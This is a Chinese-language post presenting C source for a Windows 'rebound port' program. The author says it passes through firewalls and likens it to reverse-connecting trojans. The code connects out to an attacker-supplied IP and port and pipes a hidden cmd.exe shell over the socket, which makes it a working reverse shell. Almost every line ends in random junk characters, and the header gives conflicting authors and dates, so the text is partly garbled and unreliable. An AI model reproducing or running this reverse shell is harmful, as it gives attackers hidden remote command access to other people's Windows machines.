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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M"$jpBN*  
a'*5PaXU@/  
/* ============================== C,sD?PcSi+  
Rebound port in Windows NT 2n-Tpay0  
By wind,2006/7 ,H#qgnp  
===============================*/ *:fw6mnJ#  
#include oo$WD6eCR  
#include ihpz}g  
N \CEocU  
#pragma comment(lib,"wsock32.lib") 1j${,>4tQ  
=jk-s*g  
void OutputShell(); o{S}e!Vb  
SOCKET sClient; W<cW;mO  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tk3<sr"IQ  
Cu)%s  
void main(int argc,char **argv) fl5UY$a2-  
{ YW4b m  
WSADATA stWsaData; _{2Fx[m%  
int nRet; 3isXgp8  
SOCKADDR_IN stSaiClient,stSaiServer; wB1-|= K1  
Pq[0vZ_}dN  
if(argc != 3) NIWI6qCw  
{ ]ut-wqb{p  
printf("Useage:\n\rRebound DestIP DestPort\n"); o3\SO  
return; u~naVX\3b  
} 84hi, S5P  
.yFg$|yG  
WSAStartup(MAKEWORD(2,2),&stWsaData); M2zos(8g  
Mo/2,DiI5  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  "df13U"  
(> +k3  
stSaiClient.sin_family = AF_INET; \gJapx(  
stSaiClient.sin_port = htons(0); Hb@G*L$  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7(+OsE  
e GqvnNv  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ' 5OVs:)"^  
{ }LHT#{+ x  
printf("Bind Socket Failed!\n"); \Z6gXO_  
return; !S > |Qh  
} }jyS\drJ  
xsY>{/C  
stSaiServer.sin_family = AF_INET; dEAAm=K,<  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =Nv= Q mO  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +,{Wcb  
<g/(wSl  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Z+`{JE#  
{ 5b{yA~ty  
printf("Connect Error!"); >2/wzsW  
return; QBPvGnb  
} #<WyId(  
OutputShell(); 5u u2 _B_L  
} cciAMQhA  
@3expC  
void OutputShell() !mErt2UJl  
{ YjIED,eRv  
char szBuff[1024]; :y O,  
SECURITY_ATTRIBUTES stSecurityAttributes; `1[Sv"  
OSVERSIONINFO stOsversionInfo; sJHy=z0m  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p.TiTFu/  
STARTUPINFO stStartupInfo; yTq(x4]  
char *szShell; kj<D4)  
PROCESS_INFORMATION stProcessInformation; g.`t!6Hc  
unsigned long lBytesRead; wCC~tuTpr  
:)+@qxTy  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); } {gWTp  
oZ*=7u  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _?(hWC"0  
stSecurityAttributes.lpSecurityDescriptor = 0; }Nd`;d  
stSecurityAttributes.bInheritHandle = TRUE; Q 2SSJ  
;SlS!6.W-  
jN'fm  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qeK  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); d6d(? "  
4-}A'fTU8  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @L>NN>?SGQ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -Y jv&5  
stStartupInfo.wShowWindow = SW_HIDE; 0@mX4.!  
stStartupInfo.hStdInput = hReadPipe; l~Wk07r3  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yZ(Nv $[5  
yK>0[6l  
GetVersionEx(&stOsversionInfo); q:~`7I  
}96/: ;:k  
switch(stOsversionInfo.dwPlatformId) +{Vwz  
{ sKB-7  
case 1: :9rhv{6Wp  
szShell = "command.com"; ubN"(F:!-S  
break; s>M~g,xTU  
default: X-ki%jp3  
szShell = "cmd.exe"; HBga'xJ  
break; <*(UvOQuX  
} oN6*WN tJ  
<cfH '~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); J!K/7u S  
vA7jZw  
send(sClient,szMsg,77,0); A2O_pbQti  
while(1) "TH-A6v1  
{ XdIVMXLL\  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Cp~3Jm3  
if(lBytesRead) IIt^e#s&  
{ (.XDf3   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tm36Lw  
send(sClient,szBuff,lBytesRead,0); !K^Z5A_;  
} s*~jvL  
else :Z]+Z_9p  
{ LOb'<R\p  
lBytesRead=recv(sClient,szBuff,1024,0); U37?P7i's  
if(lBytesRead<=0) break; hC 4X Y  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); tU2to V  
} 8|-mzb&  
} ,, H$>r_;  
I}W-5%  
return; KutgW#+40  
}
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